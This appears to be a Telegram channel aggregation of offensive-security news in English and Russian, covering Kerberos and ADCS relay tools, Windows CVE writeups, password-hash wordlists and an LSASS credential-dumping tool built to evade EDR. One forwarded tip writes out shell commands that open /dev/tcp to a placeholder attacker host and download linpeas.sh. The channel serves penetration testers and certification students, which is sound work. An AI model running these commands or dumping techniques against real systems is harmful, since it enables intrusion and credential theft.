Pentester's Backlog
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Агрегатор новостей из мира наступательной безопасности.

EDUCATIONAL PURPOSES ONLY
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Forwarded from 1N73LL1G3NC3
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Weakpass 4

A collection of password lists for various purposes from penetration testing to improving password security.

Crack-JS - hash cracking immediately and only with your browser.

Hash lookup - find passwords for hashes like MD5, NTLM, SHA1, and SHA256.

Password Generator - generate a wordlist based on a set of words entered by the user and rules.

P.S. Just to mention another great work and compilation of wordlists: https://github.com/berzerk0/Probable-Wordlists
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Forwarded from 1N73LL1G3NC3
Kerberos relaying from SMB to ADCS. Especially great when ESC8 was mitigated by disabling NTLM auth on the ADCS server.

Powered by:
https://github.com/decoder-it/KrbRelay-SMBServer/
https://github.com/wh04m1001/dfscoerce
https://github.com/CCob/gssapi-abuse
Forwarded from Russian OSINT
💻 F.A.C.C.T. выпустила подробное исследование группировки «двойного назначения» Shadow/Twelve, которая активно атакует 🇷🇺 российские организации.

Обнаруженный преступный синдикат продемонстрировал тенденцию — группы «двойного назначения»:

💠Shadow заинтересована в 🔒вымогательстве денег.
💠Twelve стремилась к полному ⚠️ разрушению ИТ-инфраструктуры своих жертв.

Одним из фирменных приемов группы стала кража учетных записей в 🛡Telegram на устройствах жертв, что после проведения атак позволяло им шпионить за сотрудниками атакованной компании и оказывать дополнительное давление.

Исследование может быть полезно руководителям групп кибербезопасности, аналитикам SOC, CERT, специалистам по реагированию на инциденты, Threat Intelligence и Threat Hunting, а также компаниям из различных секторов для подготовки проактивной защиты.

https://www.facct.ru/resources/research-hub/shadow-twelve-2024

@Russian_OSINT
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💻 Exploiting Windows Kernel via Kernel Streaming Proxying

An in-depth look at CVE-2024-30090, a vulnerability in Kernel Streaming, allowing privilege escalation via malformed IOCTL requests. By leveraging KS Event mishandling during 32-bit to 64-bit conversions, can exploit the bug pattern to gain arbitrary kernel mode access.

🔗 Research:
Proxying to Kernel - Part I
Proxying to Kernel - Part II

🔗 Source:
https://github.com/Dor00tkit/CVE-2024-30090

#windows #streaming #kernel #cve #poc
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🔔Call and Register — Relay Attack on WinReg RPC Client

A critical vulnerability (CVE-2024-43532) has been identified in Microsoft’s Remote Registry client. This flaw allows attackers to exploit insecure fallback mechanisms in the WinReg client, enabling them to relay authentication details and make unauthorized certificate requests through Active Directory Certificate Services (ADCS).

🔗 Research:
https://www.akamai.com/blog/security-research/winreg-relay-vulnerability

🔗 RPC Visibility Tool:
https://github.com/akamai/akamai-security-research/tree/main/rpc_toolkit/rpc_visibility

🔗 PoC:
https://github.com/akamai/akamai-security-research/tree/main/PoCs/cve-2024-43532

#ad #adcs #rpc #ntlm #relay #etw #advapi
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Forwarded from Offensive Xwitter
😈 [ Steph @w34kp455 ]

Call it the biggest #NTLM #password database or monstrous #MD5 leak, but on, you can find precomputed datasets for various wordlists and different hashes - all free!
FYI: all_in_one.latin.txt for NTLM contains 26.5 billion pairs of hash:password inside!🔥

🔗 http://weakpass.com

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Forwarded from Offensive Xwitter
😈 [ Thomas Roccia 🤘 @fr0gger_ ]

New LOL project, LOLAD a collection of Active Directory techniques!👇

🔗 https://lolad-project.github.io/

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ShadowDumper

It uses 7 advanced techniques to dump LSASS memory.

Capabilities:
• Unhooked Injection (Modified Mimikatz Binary) – Utilizes unhooking to inject a modified Mimikatz binary, bypassing EDR hooks and evading detection.
• Unhooked Injection (Direct Syscalls with MDWD) – Implements direct syscalls for stealthy injection using MDWD, reducing the footprint left behind.
• Simple MiniDumpWriteDump API – Executes the straightforward MiniDumpWriteDump API method for standard LSASS memory extraction.
• MINIDUMP_CALLBACK_INFORMATION Callbacks – Uses callback functions for custom handling, offering greater control over the dumping process.
• Process Forking Technique – Forks the LSASS process, creating a memory clone and avoiding direct access to the target process.
• Direct Syscalls with MiniDumpWriteDump – Combines direct syscalls with MiniDumpWriteDump, enhancing stealth by avoiding typical API hooks.
• Native Dump with Direct Syscalls (Offline Parsing) – Leverages direct syscalls to create a native dump with essential streams for offline parsing, perfect for low-noise operations.
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Forwarded from cKure Red
🧬 GitHub Enterprise SAML Authentication Bypass (CVE-2024-4985 / CVE-2024-9487).

https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
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Forwarded from SecuriXy.kz
Представьте ситуацию, когда на Linux машину нужно что-то положить но на машине нет привычных стредств типа wget, curl и даже по scp никак.

LoL (living off the land) трюк по загрузке файлов на Linux хост. Будет полезно на всяких экзаменах типа OSCP и тп.


>exec 3<>/dev/tcp/<kali-ip>/22

>echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: <kali-ip>\r\nConnection: close\r\n\r\n" >&3

>cat <&3 > linpeas.sh


#linux #lol #upload #tips
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Forwarded from Ralf Hacker Channel (Ralf Hacker)
Форк знаменитой утилиты certipy with many open pull requests merged, made compatible with each other, and tested

https://github.com/zimedev/certipy-merged

Missing PRs:
211: fix ESC1 false positive
229: add smime extensions support (somehow does not work completely with certipy auth)

Merged PRs:
231: add ldap simple auth
228: add ESC15
226: fix ESC1 false positive
225: fix to solve SID overwrite errors
222: fix to allow certificate names with slashes or parentheses
210: add cross domain authentication
209: accept tgs other than HOST/target@domain
203: check web enrollment for https
201: add dcom support
200: add possibility to add more than 1 keycredential and correctly list them
198: add ldap-port option
196: add ESC13
193: add whencreated and whenmodified for templates
183: hidden import (pycryptodomex)


P.S. главное, что tested...

#soft #pentest #adcs #ad
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Forwarded from APT
📜 ADCS Attack Techniques Cheatsheet

This is a handy table outlining the various methods of attack against Active Directory Certificate Services (ADCS)

🔗 Source:
https://docs.google.com/spreadsheets/d/1E5SDC5cwXWz36rPP_TXhhAvTvqz2RGnMYXieu4ZHx64/edit?gid=0#gid=0

#ad #adcs #esc #cheatsheet
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Forwarded from Offensive Xwitter
😈 [ ap @decoder_it ]

M'm glad to release the tool I have been working hard on the last month: #KrbRelayEx
A Kerberos relay & forwarder for MiTM attacks!
>Relays Kerberos AP-REQ tickets
>Manages multiple SMB consoles
>Works on Win& Linux with .NET 8.0
>...

GitHub:
🔗 https://github.com/decoder-it/KrbRelayEx

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Forwarded from Path Secure (CuriV)
Хей, хей!

Статья-рефлексия по итогам OSCP c пылу с жару на Хабр
.

Получилась довольно хорошо. Рад, что удалось добраться и зафиксировать свой опыт. Содержание статьи:

1. Введение
2. Подготовка
3. Первая попытка
4. Вторая попытка
5. Заключение
6. Конспект обработанных рекомендаций из разных видео по OSCP

Еще загрузил свой читшит. Туда же положу шаблон отчета в формате markdown:
https://github.com/curiv/oscp-cheatsheet

Буду очень рад реакциям, репостам, комментариям и вопросам. Стрим с раззбором все ещё в силе. Заранее сделаю анонс

#certification #oscp #article
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Forwarded from Ralf Hacker Channel (Ralf Hacker)
Почему я люблю смотреть отчеты? Например из этого можно взять мануал вот такую картинку))

#pentest #redteam #av #report
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Forwarded from Offensive Xwitter
😈 [ drm @lowercase_drm ]

Coffee break thoughts: "is it possible to bruteforce RPC endpoint to perform code exec if you can't access EPM/SMB?"

99% impacket atexec + 1% "for loop" = 100% prod ready
(silent command only)
h/t @saerxcit
🌻

🔗 https://gist.github.com/ThePirateWhoSmellsOfSunflowers/3673746454aef7d55a5efed4dc4e1a61

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